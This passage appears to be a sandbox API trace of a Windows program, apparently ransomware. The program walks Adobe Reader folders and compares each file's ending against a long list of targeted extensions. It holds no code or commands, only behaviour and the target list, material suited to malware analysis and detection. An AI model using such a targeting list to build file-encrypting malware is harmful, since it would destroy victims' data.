(lpString=".accde") returned 6 [0276.818] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1 [0276.818] lstrlenW (lpString=".accdt") returned 6 [0276.818] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1 [0276.818] lstrlenW (lpString=".accdw") returned 6 [0276.818] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1 [0276.818] lstrlenW (lpString=".adb") returned 4 [0276.818] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".adp") returned 4 [0276.818] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".ai") returned 3 [0276.818] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.818] lstrlenW (lpString=".ai3") returned 4 [0276.818] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".ai4") returned 4 [0276.818] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".ai5") returned 4 [0276.818] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".ai6") returned 4 [0276.818] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".ai7") returned 4 [0276.818] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".ai8") returned 4 [0276.818] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".anim") returned 5 [0276.818] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1 [0276.818] lstrlenW (lpString=".arw") returned 4 [0276.819] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".as") returned 3 [0276.819] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.819] lstrlenW (lpString=".asa") returned 4 [0276.819] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".asc") returned 4 [0276.819] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".ascx") returned 5 [0276.819] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1 [0276.819] lstrlenW (lpString=".asm") returned 4 [0276.819] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".asmx") returned 5 [0276.819] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1 [0276.819] lstrlenW (lpString=".asp") returned 4 [0276.819] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".aspx") returned 5 [0276.819] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1 [0276.819] lstrlenW (lpString=".asr") returned 4 [0276.819] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".asx") returned 4 [0276.819] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".avi") returned 4 [0276.819] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".avs") returned 4 [0276.819] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".backup") returned 7 [0276.819] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1 [0276.819] lstrlenW (lpString=".bak") returned 4 [0276.819] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".bay") returned 4 [0276.819] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1 [0276.819] lstrlenW (lpString=".bd") returned 3 [0276.819] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.819] lstrlenW (lpString=".bin") returned 4 [0276.819] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".bmp") returned 4 [0276.820] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".bz2") returned 4 [0276.820] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".c") returned 2 [0276.820] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.820] lstrlenW (lpString=".cdr") returned 4 [0276.820] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".cer") returned 4 [0276.820] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".cf") returned 3 [0276.820] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.820] lstrlenW (lpString=".cfc") returned 4 [0276.820] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".cfm") returned 4 [0276.820] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".cfml") returned 5 [0276.820] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1 [0276.820] lstrlenW (lpString=".cfu") returned 4 [0276.820] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".chm") returned 4 [0276.820] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".cin") returned 4 [0276.820] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".class") returned 6 [0276.820] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1 [0276.820] lstrlenW (lpString=".clx") returned 4 [0276.820] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".config") returned 7 [0276.820] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1 [0276.820] lstrlenW (lpString=".cpp") returned 4 [0276.820] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".cr2") returned 4 [0276.820] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".crt") returned 4 [0276.820] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1 [0276.820] lstrlenW (lpString=".crw") returned 4 [0276.821] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".cs") returned 3 [0276.821] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.821] lstrlenW (lpString=".css") returned 4 [0276.821] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".csv") returned 4 [0276.821] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".cub") returned 4 [0276.821] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dae") returned 4 [0276.821] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dat") returned 4 [0276.821] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".db") returned 3 [0276.821] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.821] lstrlenW (lpString=".dbf") returned 4 [0276.821] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dbx") returned 4 [0276.821] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dc3") returned 4 [0276.821] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dcm") returned 4 [0276.821] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dcr") returned 4 [0276.821] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".der") returned 4 [0276.821] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dib") returned 4 [0276.821] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dic") returned 4 [0276.821] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".dif") returned 4 [0276.821] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1 [0276.821] lstrlenW (lpString=".divx") returned 5 [0276.821] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1 [0276.821] lstrlenW (lpString=".djvu") returned 5 [0276.822] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1 [0276.822] lstrlenW (lpString=".dng") returned 4 [0276.822] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".doc") returned 4 [0276.822] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".docm") returned 5 [0276.822] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1 [0276.822] lstrlenW (lpString=".docx") returned 5 [0276.822] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1 [0276.822] lstrlenW (lpString=".dot") returned 4 [0276.822] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".dotm") returned 5 [0276.822] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1 [0276.822] lstrlenW (lpString=".dotx") returned 5 [0276.822] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1 [0276.822] lstrlenW (lpString=".dpx") returned 4 [0276.822] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".dqy") returned 4 [0276.822] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".dsn") returned 4 [0276.822] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".dt") returned 3 [0276.822] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.822] lstrlenW (lpString=".dtd") returned 4 [0276.822] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".dwg") returned 4 [0276.822] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".dwt") returned 4 [0276.822] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1 [0276.822] lstrlenW (lpString=".dx") returned 3 [0276.822] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.823] lstrlenW (lpString=".dxf") returned 4 [0276.823] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1 [0276.823] lstrlenW (lpString=".edml") returned 5 [0276.823] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1 [0276.823] lstrlenW (lpString=".efd") returned 4 [0276.823] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1 [0276.823] lstrlenW (lpString=".elf") returned 4 [0276.823] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1 [0276.823] lstrlenW (lpString=".emf") returned 4 [0276.823] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1 [0276.823] lstrlenW (lpString=".emz") returned 4 [0276.823] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0276.823] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0276.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0276.823] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1 [0276.823] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf") returned 141 [0276.823] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf") returned 1 [0276.823] lstrlenW (lpString="epdf") returned 4 [0276.823] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="epdf") returned -1 [0276.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0276.824] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf") returned 141 [0276.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\*", lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0276.824] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.824] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0276.824] lstrlenW (lpString="plugin.js") returned 9 [0276.824] lstrlenW (lpString=".1cd") returned 4 [0276.824] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0276.824] lstrlenW (lpString=".3ds") returned 4 [0276.824] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0276.824] lstrlenW (lpString=".3fr") returned 4 [0276.824] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0276.824] lstrlenW (lpString=".3g2") returned 4 [0276.824] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0276.824] lstrlenW (lpString=".3gp") returned 4 [0276.824] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0276.824] lstrlenW (lpString=".7z") returned 3 [0276.824] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.824] lstrlenW (lpString=".accda") returned 6 [0276.824] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1 [0276.824] lstrlenW (lpString=".accdb") returned 6 [0276.824] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1 [0276.824] lstrlenW (lpString=".accdc") returned 6 [0276.824] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1 [0276.824] lstrlenW (lpString=".accde") returned 6 [0276.824] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1 [0276.825] lstrlenW (lpString=".accdt") returned 6 [0276.825] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1 [0276.825] lstrlenW (lpString=".accdw") returned 6 [0276.825] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1 [0276.825] lstrlenW (lpString=".adb") returned 4 [0276.825] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".adp") returned 4 [0276.825] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".ai") returned 3 [0276.825] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.825] lstrlenW (lpString=".ai3") returned 4 [0276.825] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".ai4") returned 4 [0276.825] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".ai5") returned 4 [0276.825] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".ai6") returned 4 [0276.825] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".ai7") returned 4 [0276.825] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".ai8") returned 4 [0276.825] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".anim") returned 5 [0276.825] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0276.825] lstrlenW (lpString=".arw") returned 4 [0276.825] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".as") returned 3 [0276.825] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.825] lstrlenW (lpString=".asa") returned 4 [0276.825] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".asc") returned 4 [0276.825] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".ascx") returned 5 [0276.825] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0276.825] lstrlenW (lpString=".asm") returned 4 [0276.825] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0276.825] lstrlenW (lpString=".asmx") returned 5 [0276.826] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0276.826] lstrlenW (lpString=".asp") returned 4 [0276.826] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".aspx") returned 5 [0276.826] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0276.826] lstrlenW (lpString=".asr") returned 4 [0276.826] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".asx") returned 4 [0276.826] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".avi") returned 4 [0276.826] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".avs") returned 4 [0276.826] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".backup") returned 7 [0276.826] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1 [0276.826] lstrlenW (lpString=".bak") returned 4 [0276.826] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".bay") returned 4 [0276.826] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".bd") returned 3 [0276.826] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.826] lstrlenW (lpString=".bin") returned 4 [0276.826] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".bmp") returned 4 [0276.826] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".bz2") returned 4 [0276.826] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".c") returned 2 [0276.826] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.826] lstrlenW (lpString=".cdr") returned 4 [0276.826] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".cer") returned 4 [0276.826] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0276.826] lstrlenW (lpString=".cf") returned 3 [0276.827] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.827] lstrlenW (lpString=".cfc") returned 4 [0276.827] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".cfm") returned 4 [0276.827] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".cfml") returned 5 [0276.827] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0276.827] lstrlenW (lpString=".cfu") returned 4 [0276.827] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".chm") returned 4 [0276.827] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".cin") returned 4 [0276.827] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".class") returned 6 [0276.827] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1 [0276.827] lstrlenW (lpString=".clx") returned 4 [0276.827] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".config") returned 7 [0276.827] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1 [0276.827] lstrlenW (lpString=".cpp") returned 4 [0276.827] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".cr2") returned 4 [0276.827] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".crt") returned 4 [0276.827] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".crw") returned 4 [0276.827] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".cs") returned 3 [0276.827] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.827] lstrlenW (lpString=".css") returned 4 [0276.827] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0276.827] lstrlenW (lpString=".csv") returned 4 [0276.827] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".cub") returned 4 [0276.828] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dae") returned 4 [0276.828] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dat") returned 4 [0276.828] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".db") returned 3 [0276.828] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.828] lstrlenW (lpString=".dbf") returned 4 [0276.828] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dbx") returned 4 [0276.828] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dc3") returned 4 [0276.828] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dcm") returned 4 [0276.828] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dcr") returned 4 [0276.828] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".der") returned 4 [0276.828] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dib") returned 4 [0276.828] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dic") returned 4 [0276.828] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0276.828] lstrlenW (lpString=".dif") returned 4 [0276.829] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".divx") returned 5 [0276.829] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0276.829] lstrlenW (lpString=".djvu") returned 5 [0276.829] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0276.829] lstrlenW (lpString=".dng") returned 4 [0276.829] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".doc") returned 4 [0276.829] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".docm") returned 5 [0276.829] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0276.829] lstrlenW (lpString=".docx") returned 5 [0276.829] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0276.829] lstrlenW (lpString=".dot") returned 4 [0276.829] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".dotm") returned 5 [0276.829] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0276.829] lstrlenW (lpString=".dotx") returned 5 [0276.829] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0276.829] lstrlenW (lpString=".dpx") returned 4 [0276.829] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".dqy") returned 4 [0276.829] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".dsn") returned 4 [0276.829] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".dt") returned 3 [0276.829] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.829] lstrlenW (lpString=".dtd") returned 4 [0276.829] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".dwg") returned 4 [0276.829] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".dwt") returned 4 [0276.829] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0276.829] lstrlenW (lpString=".dx") returned 3 [0276.830] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.830] lstrlenW (lpString=".dxf") returned 4 [0276.830] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".edml") returned 5 [0276.830] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0276.830] lstrlenW (lpString=".efd") returned 4 [0276.830] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".elf") returned 4 [0276.830] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".emf") returned 4 [0276.830] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".emz") returned 4 [0276.830] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".epf") returned 4 [0276.830] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".eps") returned 4 [0276.830] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".epsf") returned 5 [0276.830] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1 [0276.830] lstrlenW (lpString=".epsp") returned 5 [0276.830] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1 [0276.830] lstrlenW (lpString=".erf") returned 4 [0276.830] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".exr") returned 4 [0276.830] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".f4v") returned 4 [0276.830] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".fido") returned 5 [0276.830] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1 [0276.830] lstrlenW (lpString=".flm") returned 4 [0276.830] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".flv") returned 4 [0276.830] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1 [0276.830] lstrlenW (lpString=".frm") 